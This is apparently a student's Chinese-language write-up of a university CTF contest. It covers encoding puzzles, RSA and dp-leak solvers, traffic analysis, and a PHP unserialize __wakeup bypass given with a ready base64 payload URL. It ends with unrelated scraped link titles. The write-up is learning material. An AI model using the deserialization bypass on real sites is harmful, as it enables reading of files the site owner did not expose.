大连海事大学第一届“启航杯”CTF校园网络安全竞赛

签到题

0. dlmuctf2020

flag{welcome_to_dlmuctf2020}
dlmuctf{welcome_to_dlmuctf2020}

1. 早安,贝丝人

TVJXRzI1TERPUlRIV1NCV09aU1Y2TlM3TTRZREFaQzdNUTNIU0lMNQ==

​ 很明显的Base64编码,解密后得到MRWG25LDORTHWSBWOZSV6NS7M4YDAZC7MQ3HSIL5,在进行Base32解码,拿到flag:dlmuctf{H6ve_6_g00d_d6y!}

Misc

2. lsp了

​ 题目叫lsp,第一反应想到的就是LSB加密。

可以看到,PK开头,可知是zip压缩文件,保存,打开,得到flag:flag{Good_Job_kkk}

3. base2sth

​ 打开flag.txt,里边有一堆代码,简单看一下,字母全是小写,最高位没有超过f,推测是HEX编码,解码一下。解码后,可以在开头位置看到data:image/png;base64 说明是Base64加密的图片,Base64转图片得到flag。

4. docz

​ 下载下来是docx文件,但是打不开,第一反应看16进制,用010editor打开

​ 明显PK开头,改后缀名为zip,打开后里边又是一层zip,打开里边有一个密码.zip,打开后内部是加密的,结合注释“真的有密码?”猜测是伪加密,用010editor打开,去除伪加密,打开里边的爆破.zip,根据提示6位数字密码,进行zip爆破,爆破得到密码233333(过程不展示了,工具到处都是),打开得到flag。

5. jigsaw

​ 题目叫做jigsaw,翻译一下就是拼图的意思,打开压缩包,里边有黑白图片一共10000张,推测是拼起来是个二维码,这里用的工具是ImageMagick 下的montage (具体安装方法百度吧)

​ 在终端下输入:

montage *.png -tile 100X100 -geometry +0+0 flag.png

​ 运行后得到flag.png

直接扫扫不出来,我当时是拖到word里加个滤镜,缩小一下扫出来的。。。

P.S.这道题做得我血压飙升,一万张图,在虚拟机跑好久,切一下后台kali就给我杀进程。。。期间卡死无数次。。。

Crypto

6. 经典三合一

o{rnhBuRcj_Hjb_uN?p_auJ}

​ 先栅栏得oujp{Rb_rc_anjuuh_NJBH?},再凯撒得到flag{Is_it_really_EASY?}

7. XOR

​ 题目XOR,肯定就是异或了,百度查阅了好多异或加密的资料,写代码:

    #include <stdio.h>main(){char a[]="DsfvD-jZ|,+p}sX.zIfvzYrh|pSvWMX'";char c[100];int i;for(int j=1;j<200;j++){for(i=0;a[i];i++)c[i]=a[i]^j;printf("You Password: %s\n",c);}}

运行结果:

这个时候就要看你对Base64的敏感度了,最后一行很像Base64,直接一手解码,啪!很快啊,拿到flag:flag{Congratulations!!!}

8. RSA

​ RSA是一种很经典的加密算法,以前只听说过没有研究过,查了好多资料后,大概了解了,用Python写代码:

import gmpy2
p=0xEB4360DF0E0C824D57AE20700BBF6C1BA8324A94DB7B3608DDA40DE07A59082F
q=0xA5B8BA7304F15C70BA82FF60F8A4A5F156ED04896EC94A7E99B96B4E11727A8F
e=0x10001
c=5849414025349869533962909975439563212209275395646853474539897994585461763870010917408284076946095324877247807213532724048271531587570791138002392138818496
n=p*q
s = (p-1)*(q-1)
d = gmpy2.invert(e,s)
m = pow(c,d,n)
print ("hex: " +  hex(m))

​ 把得到的16进制的明文HEX转码,拿到flag

9. RSA_plus

​ 这道题给出了dp的值,查阅资料后,发现这叫dp泄露,进行简单的公式推导之后,写代码:

import gmpy2
import binascii
n=0x83A9DEF3CC906B08B926C896F3109D080E6DA3BA0744D15D1ED23CEBC7F67F0152B6FF8031F65702A991B0B41D81C4DD2840111ADE9CD1556178CB9D52B90409
e=0x10001
dp=10932553400881682210635683321183648664355266541474849157856482711967041983033
c=2258623409939733607655186579366743081899436099271191036894164042692086967635362871866346793891828960372212557879413400241461275122361638369464235153663059
for x in range(1, e):if(e*dp%x==1):p=(e*dp-1)//x+1if(n%p!=0):continueq=n//pphin=(p-1)*(q-1)d=gmpy2.invert(e, phin)m=pow(c, d, n)if(len(hex(m)[2:])%2==1):continue          print(hex(m))

把得到的16进制的明文HEX转码,拿到flag

Reverse

9. just_run

这道题,下载下来之后,首先试了一下改兼容性,无果。

然后第一反应用IDA打开,对着代码瞅了半天,看不懂。

想用IDA调试,折腾半天,整不好环境。(菜哭了)

IDA里看代码知道了是要用DOS运行,想装个DOS虚拟机。

后来还是觉得太麻烦了,最后发现了DOSBOX这个东西,嗯,很有精神!

在DOSBOX里跑了一下,拿到flag

Web

10. wireshark1

wireshark打开,根据题目提示:过滤FTP

追踪TCP流,找到password

11. 海事官网简化版

​ 有点意思的一道题目,一开始我就踩到了出题人的坑。。。

他说我搜不到flag,我TM就是要搜一下试试,然后就一直研究这个查询按钮。。。

最后重新看了一遍源代码,找到关键

          <!--    ZmxhZw==  : ZmxhZ3tETVUtQ1RGX1dFQi1tcGNfY2h1dGkxMTI2MTg0OX0= --><a

Base64解码flag{DMU-CTF_WEB-mpc_chuti11261849}

12. 超级人肉计算机

比赛前两天看到过类似的题,正则提取题目,然后提交。Python写代码:

import requests
import re   url = 'http://123.206.31.85:10002/'source = requests.get(url, headers=head).content.decode('utf-8')
expression = re.search(r'(\d+[+*])+(\d+[+*])+\((\d+[+*])+(\d+)\)', source).group()
print(expression)
val = str(eval(expression))
print(val)
post = {'result': val}
result = requests.post(url, headers=head, data=post).content.decode('utf-8')
print(result)

得到flag:flag{b37d6bdd7bb132c7c7f6072cd318697c}

13. 你看不见我

看网页源代码,拉到最底下,看到

<!--/index/index.php-->

打开http://123.206.31.85:10024/index/index.php 看到php代码:

<?php
class Small_white_rabbit{ private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the_f1ag.php $this->file = 'index.php'; } }
} if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); @unserialize($var);
} else { highlight_file("index.php");
}
?>

可以看到是对var这个变量先序列化,再进行base64的编码。

构造php代码:

<?php
class Small_white_rabbit{ private $file = 'the_f1ag.php';
}
$a = new Small_white_rabbit;
$b = serialize($a);
$b = str_replace(":1:",":2:",$b);
$c= base64_encode($b);
echo $c;
?>

把echo的值构造payload:

http://123.206.31.85:10024/index/index.php?var=TzoxODoiU21hbGxfd2hpdGVfcmFiYml0IjoyOntzOjI0OiIAU21hbGxfd2hpdGVfcmFiYml0AGZpbGUiO3M6MTI6InRoZV9mMWFnLnBocCI7fQ==

拿到flag:

 <?php
//flag{47e85057bb9a8a1b};
?>

14. wireshark2

用wireshark打开,导入题目给的ssllog.log密钥,过滤http。

然后就开始各种找。。。。

搜索login追踪TLS流,最后找到。。。。。

username=dlmuctf2020

15. wireshark_js

用wireshark打开,导入ssllog.log密钥,过滤http

紧接上题,找到同一个位置,还是差不多同样一坨代码,然后就不知道怎么下手了。

HTML Form URL Encoded: application/x-www-form-urlencodedForm item: "username" = "dlmuctf"Form item: "type" = "UsernamePassword"Form item: "_eventId" = "submit"Form item: "geolocation" = ""Form item: "execution" = "30291c18-3c1f-4902-9fdd-6741d76770af_H4sIAAAAAAAAAO1ae2wcRxkfnx+xHSex82oDagghsUpL7n2+u6amvZzt5NKz4/rsJHUJydzu3Hnjvd3N7px9F1BKhEpfRG2lNkpJQalUiRJCU6l/tAoKbVWkAmqRKC2PoiCBmkeFqACBKgFS+Wb2cQ+fL+fCX+hOvvPuzDfffDPz+x7zKey: executionValue [truncated]: 30291c18-3c1f-4902-9fdd-6741d76770af_H4sIAAAAAAAAAO1ae2wcRxkfnx+xHSex82oDagghsUpL7n2+u6amvZzt5NKz4/rsJHUJydzu3Hnjvd3N7px9F1BKhEpfRG2lNkpJQalUiRJCU6l/tAoKbVWkAmqRKC2PoiCBmkeFqACBKgFS+Wb2cQ+fL+fCX+hOvvPuzDfffDPz+x7zzZz7M2Form item: "captcha_code" = ""Form item: "croypto" = "Up0p1bMqJvQ="Form item: "password" = "kcQMc1GkwN2/jOXyCHuBBilFZ9WFg1U3EBft1+sY0n1A7sVQjzcDGg=="

这些代码很接近Base64,但是解不出来。。。。实在是很难受

过了好久。。。。。就在百度上乱搜。。。

直到我搜到了croypto 然后找到了这样一篇blog:

参考资料:https://blog.csdn.net/weixin_43272781/article/details/107331432

参考资料2:https://shentuzhigang.blog.csdn.net/article/details/107323907

很相似了,然后我知道了这是DES加密

先把croypto字段解码成16进制格式

然后进行DES解密,在线地址:https://the-x.cn/cryptography/Des.aspx

拿到flag。

Pwn

16. 查字典

感觉这道题比第二道难啊啊!

在kali下

$ncat 172.27.97.232 2628

会出现

$ncat 172.27.97.232 2628                                                                             220 dell-Precision-7920-Tower dictd 1.12.1/rf on Linux 4.15.0-1102-oem <auth.mime> <301.15714.1607266042@dell-Precision-7920-Tower>

然后不管我输入啥都会返回一个500 unknown command ,后来我想,既然是command,那我试试输个help试试,然后就得到了

这,那这就很是Amazing了啊!后来查阅资料这是一种DICT协议,研究了好半天这种协议。。。感觉帮助不大

先搜他一手flag DEFINE * flag

啊,这啥呀,对着百度翻译半天,大体了解了,一开始我就把重点放到了第一段,See also {hidden flag},{mode bit}上,成功避开了正确的路,找了好半天没有结果,后来回过头再看第二段最后,(i.e., dlmuctf2020)

搜一下试试,D * dlmuctf2020,get!

17. 学生管理系统1

在kali下

$ncat 172.27.97.232 2000

发现让输入密码,打开git看一下,发现并没有密码,看历史改动,找到了被删除的明文密码:A_sImp1e_s7u6eN4_mAna9eme2t_s6s4eM

输入密码后

输入指令后提示要先读取文件,靠直觉试了试flag,不对,又试了一下flag.txt

但是还有个问题,有个计时函数,每次我操作一会之后就会断开,很烦,然后就想到了构造代码,用管道符输入。

构造代码:

#include<stdio.h>
int main()
{printf("A_sImp1e_s7u6eN4_mAna9eme2t_s6s4eM\n");printf("3\n");printf("flag.txt\n");printf("4\n");
}

编译:

$gcc a.cpp -o a

终端输入:

$./a | ncat 172.27.97.232 2000

get!

学号:16001 班级:3 姓名:W 专业:SC 成绩1:98 成绩2:89 成绩3:100 总成绩:287 平均成绩:95.666664
学号:16002 班级:1 姓名:G 专业:NE 成绩1:97 成绩2:100 成绩3:79 总成绩:276 平均成绩:92.000000
学号:17001 班级:1 姓名:git_iS_A 专业:_mAs4erp1ece 成绩1:12 成绩2:34 成绩3:0 总成绩:46 平均成绩:15.333333

flag:dlmuctf{git_iS_A_mAs4erp1ece}

18. Pwn简单大综合

真的不会了,代码也看不懂,太菜了。。。。。。。

大连海事大学第一届“启航杯”DLMU CTF部分题解相关推荐

  1. 武汉工程大学第一届程序设计女生赛(牛客contest 4746)解题报告 Apare_xzc

    武汉工程大学第一届程序设计女生赛解题报告 xzc 2020.3.8 比赛链接:武汉工程大学第一届程序设计女生赛 A. Multiplication (101/861) 分析: 问x平方几次后就会> ...

  2. 2019年第一届长安杯解析,深入科普,理清思路,流量部分不太会,其他部分基本有详细解。

    镜像可以官网下载,这里不给链接. 1 / 12 长安杯 第一届电子数据取证竞赛 题目 案情简介 在一起电诈案件中,受害者称自己的银行卡被他人冒用,曾收到假冒公安的短信,因为 自己在一个 P2P 网站中 ...

  3. 2019第一届长安杯

    2019第一届长安杯 长安杯 第一届电子数据取证竞赛 题目 案情简介 在一起电诈案件中,受害者称自己的银行卡被他人冒用,曾收到假冒公安的短信,因为 自己在一个 P2P 网站中理财,假冒公安称该网站已被 ...

  4. 2019第十届蓝桥杯JAVA G组题解

    蓝桥杯历年真题及解析. 试题 A: 立方和 本题总分:5 分 [问题描述] 小明对数位中含有 2.0.1.9 的数字很感兴趣,在 1 到 40 中这样的数包 括 1.2.9.10 至 32.39 和 ...

  5. 2019第十届蓝桥杯C++B组题解(赛后重写的,不确保答案正确性,仅供参考)

    先说一下这次的感受吧,我们考场比较乱,开始比赛了,还有的电脑有故障,(向这些人发出同情),第一次认真参加比赛,真正比赛的时候感觉没有那么正式,很乱,各种小问题,(例如博主就没找到题目在哪里,找到后又不 ...

  6. 第一届蓝桥杯决赛B组C++题解代码

    第一题 从4个人中选2个人参加活动,一共有6种选法. 从n个人中选m个人参加活动,一共有多少种选法?下面的函数实现了这个功能. 请仔细分析代码,填写缺少的部分(下划线部分). 注意:请把填空的答案(仅 ...

  7. 第一届蓝桥杯国际赛真题第一题仓库布局

    仓库布局 问题描述 小明管理着一个仓库,他要在仓库里摆放一些货柜.货柜比较高,不能上下堆叠,底面是正方形,有一个侧面为正面,用于取放货物. 小明将仓库划分成了n x m的方格,其中南北方向n格,东西方 ...

  8. 江西财经大学第一届程序设计竞赛 G题小Q的口袋校园

    题目链接:https://www.nowcoder.com/acm/contest/115/G 解题思路:题解就一份代码,贪心的思想.先按开始时间进行排序. 然后不断贪心获得happy[ j ]的最大 ...

  9. 2010年第一届蓝桥杯省赛 —— 第二题

    题目 以下函数的功能是将给定字符串进行倒序输出, 请完成该函数空缺部分. char* p = "abcdef"; char* q = (char*)malloc(strlen(p) ...

最新文章

  1. python【数据结构与算法】map() 映射函数(看不懂你来打我)
  2. 简而不漏,300字Java标识符命名规则规范,看一遍就可以记住,包名类名变量名常量名,让命名有迹可循
  3. java抽象类异常_求教JAVA里面的错误继承抽象类我都已经看傻了。
  4. 第三章 深入分析Java Web中的中文编码问题
  5. python提取日志内容_Python正则提取日志内容
  6. SqlHelper帮助类_上(SQLServer数据库含Connection详解)
  7. python之HTML文件转PDF文件,python之把HTML文件转换成PDF格式文档
  8. 红帽发布 Ansible Tower 3.4:在混合云中实践DevOps更便捷
  9. 怎样解题 --解题表(how to solve it)
  10. 计算机技术对股市的影响,cpi上涨对股市影响有哪些?CPI如何影响股市涨跌
  11. OpenCV如何去除图片中的阴影
  12. spring boot通用办事流程管理软件 毕业设计-附源码211819
  13. 内农大计算机学院宿舍,小薇逛农大宿舍,你想看哪栋?
  14. 制作的动图太大怎么办?如何快速将gif图片缩小?
  15. 图解传说中的HTTP协议
  16. 注册商标的这些利与弊你知道吗?
  17. 594. 最长和谐子序列--Python
  18. 实战1 - 空气质量数据的校准
  19. docker(3) : 相关连接
  20. 蓝桥杯模块学习10——串口通信(深夜学习——单片机)

热门文章

  1. 百分点认知智能实验室:智能校对的技术原理和实践
  2. deepin 安装显卡后,可支持双屏展示
  3. ios备忘录下载安卓版_苹果备忘录app下载-苹果备忘录 安卓版v2.0-PC6安卓网
  4. matlab测绘工程,测绘工程matlab论文.doc
  5. 手撕代码deep image matting(6):dataset(1)
  6. android证书制作
  7. Meth | 关闭mac自带apache的启动
  8. 财富2019年世界500强企业爬虫(爬虫学习实践项目)
  9. 不思议迷宫量子计算机,不思议迷宫男巫刷法及男巫的猫形态详解
  10. amd显卡驱动目录linux,安装ATI Linux显卡驱动